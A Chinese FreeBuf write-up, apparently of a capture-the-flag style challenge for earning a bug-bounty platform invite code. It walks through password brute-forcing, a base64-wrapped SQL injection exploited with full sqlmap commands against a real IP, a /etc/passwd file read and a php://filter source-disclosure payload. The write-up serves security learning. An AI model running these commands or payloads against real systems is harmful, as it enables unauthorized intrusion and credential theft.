freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记录一次众测平台邀请码获取
2020-12-16 11:12:11

0x00 背景

今天刚到公司,看到刚哥在群里发的消息。

1608087974_5fd979a61e180d1653b49.png!small

打开一看是个众测平台,注册的时候提示需要邀请码,而邀请码的获得方式有两种,一种是老用户邀请,另一种则需要通过平台提供的一个小游戏获取flag,然而我们也不认识老用户,没办法那只能去找flag了。

游戏地址

0x01 密码爆破

打开网址看到只有一个用户名密码,并没有存在验证码,那肯定是先使用burp软件密码爆破一波。

密码非常简单,根据返回的状态码找到正确的账号密码test/test123。

1608096541_5fd99b1d291afacce6048.png!small

0x02 sql注入(整形手动)

使用破解的账号密码登录系统,只有两个链接地址,分别打开看看,其中一个链接地址中包含aid参数,对其进行了一波简单的sql注入尝试后,并没有发现什么可用的价值,暂时先放着。

接下来尝试把aid=1换成-1、0、1、2、3、4看看页面变化,当aid=3时页面出现了更多链接,如下图:

1608096549_5fd99b25e29d0803ed2b3.png!small

然后将这些链接挨个打开,当打开第4个链接时(http://119.3.191.245:8877/user/Article.php?aid=3&id=NQ==),发现与其它链接有点不一样,多了一个参数,将NQ==尝试用bases64解密后是5,然后对该参数进行sql注入尝试。将5 and 1=1进行base64加密后替换至url中观察页面返回结果,如下图:

1608096557_5fd99b2d5eadc34baebcb.png!small

然后将5 and 1=2进行base64加密后替换至url中观察页面返回结果,结果发现端倪,如下图:

1608096563_5fd99b33e441764e066b9.png!small

到这里可以基本判断此处存在sql注入漏洞,然后利用order by(或者union select 1,2,3,4,5,6,N)确定当前数据库的字段数目,为接下来爆库表字段做准备。

将order by n(n是猜测的字段数目)加密后放到地址栏最后,经过多次尝试最后的字段数为order by 3。

1608096570_5fd99b3a9e46c723d551f.png!small

1608096574_5fd99b3ecb5a2f7b261ec.png!small

已知字段数为3,那么就可以利用union联合查询判断网站显示的内容在数据库的第几列。当使用5 union select 1,2,3 --+加密添加到id=之后,结果网页显示“感知到注入迹象,启动第四阻断机制”的提示,猜测可能是因为网站禁止使用union函数。

1608096581_5fd99b45086e4848b2f1d.png!small

0x03 sql注入(盲注)

既然union不让用,那就试试盲注,因为手动盲注太费时间,我选择使用sqlmap工具,构造命令

python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie=" PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --level 3

(*是指定跑注入的位置,--cookie=“使用burp抓包得到自己的cookie” , --batch默认选择确定,--random-agent选项将sqlmap的标准值更改为任意值,利用工具base64encode.py解码 ,--level 3同时显示注入的payload。)

1608096588_5fd99b4c71f4efcdf3128.png!small

注入成功,接下来跑网站的数据库

python sqlmap -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --dbs

1608096596_5fd99b540e6c48fedbb86.png!small

最后跑出来五个数据库,除了level2其余4个均为mysql的自带库,然后选择level2数据库跑数据表,构造命令如下:

python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" --tables

level2库中存在user和article两个表,那基本可以判断user表是保存登录账号密码的表,article是刚才那个页面像小说页面的文章表,如下图:

1608096605_5fd99b5da9231457a8785.png!small

查看user表中内容,构造命令如下:

python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" -T "user" --dump

1608096611_5fd99b63a6354db2d6294.png!small

成功得到所有账户名密码,看到其中有admin账户,登录后看看是否有flag线索。

0x04 sql文件包含

登录admin账号后页面几乎与test页面无两样,不过在同样的文本后多了一个小表情,应该是某种线索,点击右键查看源代码,发现图片地址,如下图:

1608096621_5fd99b6d796d6c953e761.png!small

1608096625_5fd99b71559f22eccfdfa.png!small

看到图片url中的filename参数,第一感觉是尝试文件包含,首先读取filename=/etc/passwd成功读取,可以很确定此处存在任意文件读取漏洞。

1608096632_5fd99b789831b777fc90c.png!small

任意文件读取漏洞好像对于拿flag没有什么用,不过我们可以尝试读取当前这些页面的源文件,看看有没有什么线索。poc构造如下:

filename=php://filter/read=convert.base64-encode/resource=Read.php(将Read.php文件的内容以base64形式输出),将得到的内容解密,可以看到Read.php的源码如下图:

1608096643_5fd99b8357de79886c99d.png!small

看到文件包含函数requlre_once引用了Base.php文件,继续尝试读取Base.php文件,如下图:

1608096653_5fd99b8d3654367ff8374.png!small

将解密的代码拉到最后看到“关于邀请码”的提示,继续读取meifahufujiulaimingdu.php源码,源码文件内容如下:

<?php

 #关于邀请码,嗯,一目了然。

require_once("Base.php");

error_reporting(0);

//$user = isUser();

 

 $url = "http://172.17.0.1:3000/code";

 $email = "";

 

function send_post( $url , $post_data ) {

 

    $postdata = http_build_query( $post_data );

    $options = array (

        'http' => array (

            'method' => 'POST' ,

            'header' => 'Content-type:application/x-www-form-urlencoded' ,

            'content' => $postdata ,

            'timeout' => 15 * 60

        )

    );

    $context = stream_context_create( $options );

    $result = file_get_contents ( $url , false, $context );

 

    return $result ;

}

 

$post_data = array (

    'e' => $_POST['email']

);

echo send_post( $url , $post_data );

 

 

#ps:建团?什么建团?  啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。 

根据得到的信息了解到需要用post方式提交email=参数获取邀请码,构造接口如下图:

1608088118_5fd97a369d73a7b782529.png!small

成功返回flag,提交flag注册成功。

1608088123_5fd97a3b7de0305ad48b6.png!small

# web安全 # Flag
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者